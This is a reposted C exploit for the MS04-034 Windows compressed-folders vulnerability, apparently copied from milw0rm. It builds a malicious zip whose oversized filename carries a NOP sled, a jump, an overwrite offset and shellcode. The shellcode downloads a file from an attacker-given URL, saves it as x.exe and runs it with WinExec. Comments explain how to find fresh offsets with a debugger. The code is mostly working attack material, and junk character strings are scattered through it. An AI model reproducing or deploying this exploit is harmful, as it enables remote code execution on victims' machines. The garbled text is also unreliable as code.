(MS04-034)Microsoft Windows Vulnerability in Compressed (zipped) Folders

韩冰

/* Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034) * q! }2 H5 w* Z7 L4 {8 V- Z* 3 s# [$ q! @2 [: O: q* Tested under Windows XP SP0 Spanish/English * ' Y4 n0 c. i6 R! _1 h. q' {$ }* Original Advisory: http://www.eeye.com/html/research/advisories/AD20041012A.html % z4 d7 g$ m" H1 @) U# c* Exploit Date: 21/10/2004 * * Tarako - Haxorcitos.com 2004 0 ]/ O! }1 i* m) \( K. I* " w! ?4 w6 H$ E! } G* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION " y& }' w3 Q) B6 h* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. * * Greetings t #haxorcitos, #dsr and #localhost @efnet * * + d, h2 [1 h* H8 V( z* How to get new offsets: * h# ~ E/ @4 G& H- w7 V8 Q* 1) attach debugger (i.e ollydbg) to explorer.exe + s! b" X' B8 M& J! u2 M: _3 {1 ~+ J* 2) open the zip file as a folder and add or move some files to it * 3) search in the explorer.exe memory the shellcode and get the addresses * */ #include <stdio.h> 6 M1 m ]7 E0 k; X; r/ Q3 I& s# _#include <windows.h> #pragma pack(1) & t: B/ ^( h) K' P. `4 D #define DATOS "Tarako-Haxorcitos.com" " {# Y! O* r5 k0 B- h# [ typedef struct { 8 V# B8 Z/ o; t' V/ E' ~4 ^DWORD Signature; // PK.. 4 bytes (0x04034B50) WORD VersionNeeded; * Z3 A" U) P+ m D: H) M! |WORD GeneralPurposeFlag; // para el data descriptor y demas WORD CompressionMethod; WORD ModFileTime; 6 l$ {3 y Z, c# K' ^% ?WORD ModFileDate; DWORD Crc32; : t; B2 ^6 ]4 ~" ZDWORD CompressedSize; 5 q }7 C, A, X/ ^: z- d8 U o2 o2 YDWORD UncompressedSize; . c" W: |% D6 y N6 F- e. i! pWORD FilenameLength; WORD ExtraFieldLength; + i3 h2 w! L: @// filename (variable size) 1 m2 M' E f% z( B0 ~5 q// extra field (variable size) }TOPHEADER; ) X) `9 v& B# X6 h7 a / ^7 [6 S- f2 O4 q! Ctypedef struct { DWORD Signature; // PK.. 4 bytes (0x02014B50) WORD MadeVersion; 6 g- D: P% |9 C5 eWORD VersionNeeded; WORD GeneralPurposeFlag; // para el data descriptor y demas WORD CompressionMethod; 8 r6 u. |7 S* V/ I9 J- ^1 {WORD ModFileTime; : k9 p; \$ q5 I% k% e- k+ x( uWORD ModFileDate; DWORD Crc32; 2 p7 t) y( h0 {! L% B$ u: RDWORD CompressedSize; DWORD UncompressedSize; % |- |0 z8 i. I; k# u5 D8 R6 \7 iWORD FilenameLength; $ n5 L) J) L# }5 NWORD ExtraFieldLength; 0 _ Q" s- w9 H$ a. y+ W8 r0 i$ rWORD FileCommentLength; * Q3 p! [- f5 x7 d8 [+ H7 t; r- vWORD DiskNumberStart; ; N3 L; ^8 I9 vWORD InternalFileAttributes; + T; f p; Y( J; {9 S3 g* ?. ^DWORD ExternalFileAttributes; 5 j7 o* g% _' ?0 n" Z# B4 M; X6 mDWORD RelativeOffsetOfLocalHeader; ' z) }9 j" Z0 X. ?2 t/ w& v// filename (variable size) ( b! P X7 P* X x4 f; |' o. b// extra field (variable size) % A( a3 G! b! r4 p// file comment (variable size) * E# ]7 Z; ]" C3 l9 _, D4 J}MIDDLEHEADER; typedef struct { - H3 ~ ?! g$ t8 ^. _DWORD Signature; // PK.. 4 bytes (0x06054B50) ) M L+ ?9 D3 O& [4 sWORD NumOfThisDisk; 7 J" S( Z: R0 W! ?WORD NumDisckStartCentralDirectory; WORD NumEntriesCentralDirOnThisDisk; WORD TotalNumEntriesCentralDir; DWORD SizeCentralDirectory; ( v* s. g' f7 O) [3 b1 PDWORD OffsetCentraDirRespectStartDiskNum; WORD ZipCommentLength; // zipfile comment (variable size) }BOTTOMHEADER; ( v9 C W& S$ z% C" P1 Y+ Z; ? ) L( @0 q& t- b; v0 V/* * download shellcode - RaiSe - raise@netsearch-ezine.com */ + R7 V$ | C' C" Pchar shellcode1[] = % R8 z, X! x2 d4 G0 r$ J"\xEB\x5D\x5F\x8B\xF7\x80\x3F" 9 |3 e/ H5 t+ \1 ]0 [: G! i"\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9" 1 p7 R! n. t: J"\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08" "\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8" - [ s* E3 D& R: T p"\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B" 0 b" M+ i* Y, y# H"\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74" 0 e, ?5 q7 j4 A F* |5 z" Z"\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74" "\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B" 3 s7 {9 v; c* P+ K8 Z2 a"\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53" 2 h6 O0 @6 ~* G- E% z& C. h+ i"\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78" "\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30" 1 X- a+ `/ `7 H/ q3 @& @. [3 {"\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04" "\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66" "\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D" , ]4 z0 S/ ?+ T/ o9 R"\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0" : }& ?, P% R8 U6 t" ~7 i* F"\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04" 1 q( `$ ?9 P% q0 U7 y( [5 [; k"\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB" "\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C" "\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8" 8 y" i1 K% v6 [+ \6 r"\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52" 0 L8 p/ N* a* ]4 C"\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1" "\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC" "\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0" ( P" X3 J4 O1 V"\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B" ' W& K! G6 a4 N( T; ^4 E"\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF" 1 ?2 b3 e: q# }2 e( l1 Q( b"\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69" "\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49" . @, j, C7 h3 a& A8 {"\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F" ! M& D0 Z& _4 V6 M"\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61" "\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78" 5 ~ z" Q6 x4 u+ w; `"\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72" ; l2 A n. s) I4 e- v"\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65" "\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69" 3 Z6 P" i. Z1 p9 a8 g6 f"\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64" 9 `* B3 A% x$ q8 }2 }$ J7 j" Q"\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08"; char shellcode2[] ="\x08\x01"; K6 r5 I4 R/ a2 o char offset[]="\x41\x41\x41\x41"; char jmpbelow[]= "\xeb\x06\x90\x90"; # O! p# p5 J+ J$ V0 A7 @ int main(int argc,char *argv[]) { 3 a6 ~2 O6 l* l2 t( y% E 5 L0 ?0 k$ S& e" j4 u0 nFILE *ZipFile; 4 R( j" D. W( V( c T! n5 @& G: b4 ETOPHEADER *Cabecera1; / i/ F' ^8 n+ V5 c& @. W# rMIDDLEHEADER *Cabecera2; 5 s: o% z% C! U. ~% ?/ ]BOTTOMHEADER *Cabecera3; / B. X% F6 J$ z" A9 ~7 s. j% }6 bDWORD c; UINT i; & _4 ^& j' J8 W" H( z% dchar *filename; / @# F( {8 f6 Schar *url; printf("\n MS04-034 - Vulnerability in Compressed (zipped) Folders POC"); printf("\n Tarako - Tarako[AT]Haxorcitos.com\n"); & N' @7 V. b0 c7 B if (argc!=2) { 8 t! ?- U+ X- @' Tprintf("\n\n Usage: %s <URL> \n",argv[0]); 3 g, n" B4 z$ e3 k \5 Oexit(1); } 7 l* T3 U/ S0 a w6 r: W ; Y( z4 x8 I+ A R% a$ C9 q( Gurl=argv[1]; printf("\n * URL: %s",url); if (!(ZipFile=fopen("prueba.zip","w+b"))) { printf("\n [E] fopen()"); exit(1); 0 {! z- j. j/ f0 b2 O} c=0x8000; // filename length filename=(char*)malloc(sizeof(char)*c); / P. e i2 r9 ?. M- Umemset(filename,0,sizeof(filename)); ( o4 F* D- Y" J/ `* kfor( i=0x0;i<c;i++) filename=(BYTE)0x90; 5 Y' Q/ n8 R3 z: N; g5 v: Omemcpy(filename+0x1814,jmpbelow,strlen(jmpbelow)); memcpy(filename+0x1818,offset,strlen(offset)); / v, Q/ q" L0 Q Y3 Y& P2 E ' Z1 |! U2 K( ]$ i( s5 {+ wmemcpy(filename+0x7000,shellcode1,sizeof(shellcode1)-1); , p+ B6 h1 A a h' L2 c+ |memcpy(filename+0x7000+sizeof(shellcode1)-1,url,strlen(url)); memcpy(filename+0x7000+sizeof(shellcode1)+strlen(url)-1,shellcode2,sizeof(shellcode2)-1); , K# F4 D' T) {# _: v7 N/ X! pmemcpy(filename+(c-4),".txt",4); n* }$ Q4 b+ w- v! T Cabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER)); Cabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER)); Cabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER)); memset(Cabecera1,0,sizeof(TOPHEADER)); memset(Cabecera2,0,sizeof(MIDDLEHEADER)); / Z' {2 H @' e& ]memset(Cabecera3,0,sizeof(BOTTOMHEADER)); + ^. R7 \ e! k* ^$ _' a' l % l) ]+ [6 t: X/////////////////////////////////////////////////////////////////// // TOPHEADER 3 v2 [& n6 ?5 V% d/////////////////////////////////////////////////////////////////// Cabecera1->Signature=0x04034B50; // DWORD Cabecera1->VersionNeeded=0x000A; // WORD ) W( ~/ n6 V; ^+ X: J1 RCabecera1->GeneralPurposeFlag=0x0002; // WORD para el data descriptor y demas Cabecera1->CompressionMethod=0x0000; // WORD ; d, i7 t. e2 b# X* sCabecera1->ModFileTime=0x1362; // WORD ! n. X1 {& q6 O. s& K* J& g, }Cabecera1->ModFileDate=0x3154; // WORD # s0 B% M2 R, LCabecera1->Crc32=0x85B36639; // DWORD Cabecera1->CompressedSize=0x00000015; // DWORD Cabecera1->UncompressedSize=0x00000015; // DWORD ! [# x$ J; ]9 Y3 e( l8 ECabecera1->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); 3 w J6 g( Z/ O1 T! G& Q- pCabecera1->ExtraFieldLength=0x0000; // WORD ; ?3 z+ H0 t2 ?/////////////////////////////////////////////////////////////////// + K9 G' j+ }( \# @( a2 I ^ /////////////////////////////////////////////////////////////////// ' H' G& [4 y( c* Q2 f$ M q// MIDDLEHEADER /////////////////////////////////////////////////////////////////// * w! K7 R+ g- y- g, w4 ~& c. yCabecera2->Signature=0x02014B50; // DWORD Cabecera2->MadeVersion=0x0014; // WORD Cabecera2->VersionNeeded=0x000A; // WORD Cabecera2->GeneralPurposeFlag=0x0002; // WORD Cabecera2->CompressionMethod=0x0000; // WORD Cabecera2->ModFileTime=0x1362; // WORD 0 O7 S s: Q1 O9 VCabecera2->ModFileDate=0x3154; // WORD / P1 @* X7 C8 e: y ]1 Y' [/ nCabecera2->Crc32=0x85B36639; // DWORD Cabecera2->CompressedSize=0x00000015; // DWORD 6 M( a! C0 a# e" M4 JCabecera2->UncompressedSize=0x00000015; // DWORD Cabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); 9 m W: G4 H" o( X7 v/ y: kCabecera2->ExtraFieldLength=0x0000; // WORD 1 u1 |5 C, M' o& ] X+ p9 XCabecera2->FileCommentLength=0x0000; // WORD 5 i# M Q. k, o+ g* K/ ~Cabecera2->DiskNumberStart=0x0000; // WORD Cabecera2->InternalFileAttributes=0x0001; // WORD 5 R. R8 |1 o4 a8 {$ HCabecera2->ExternalFileAttributes=0x00000020; // DWORD # s! y/ D' ~& x' O4 _5 A. WCabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD /////////////////////////////////////////////////////////////////// # k- l8 f+ t: @% u. M /////////////////////////////////////////////////////////////////// // BOTTOMHEADER /////////////////////////////////////////////////////////////////// Cabecera3->Signature=0x06054B50; // DWORD Cabecera3->NumOfThisDisk=0x0000; // WORD 6 J( A0 t8 S' R' XCabecera3->NumDisckStartCentralDirectory=0x0000; // WORD . a' C7 F+ _ S5 f' E: UCabecera3->NumEntriesCentralDirOnThisDisk=0x0001; // WORD # P3 P* h5 f, ZCabecera3->TotalNumEntriesCentralDir=0x0001; // WORD 2 x. o( z X5 [# z; ~Cabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c; // DWORD Cabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c; // DWORD & f6 h6 [5 Y* l$ WCabecera3->ZipCommentLength=0x0000; // WORD /////////////////////////////////////////////////////////////////// 5 O0 J8 Z8 n- l2 L/ C- `% P fwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile); fwrite(filename, c, 1,ZipFile); 0 ]3 U" v, B) d9 k9 mfwrite(DATOS,strlen(DATOS),1,ZipFile); ) r! F1 E# t6 w) W( M/ x $ U8 I. v% ?1 ^& y" }$ r+ Sfwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile); $ g0 ?2 q4 P9 f( q# mfwrite(filename, c, 1,ZipFile); fwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile); , V! O* O- u/ l' t2 k7 s$ I fclose(ZipFile); 9 ^ n6 z) t+ j2 gprintf("\n * prueba.zip created\n"); ) f1 H- k0 n6 |8 T' zreturn 1; $ L3 S' Q. C! g6 B2 [8 t}//downloaded from milw0rm.com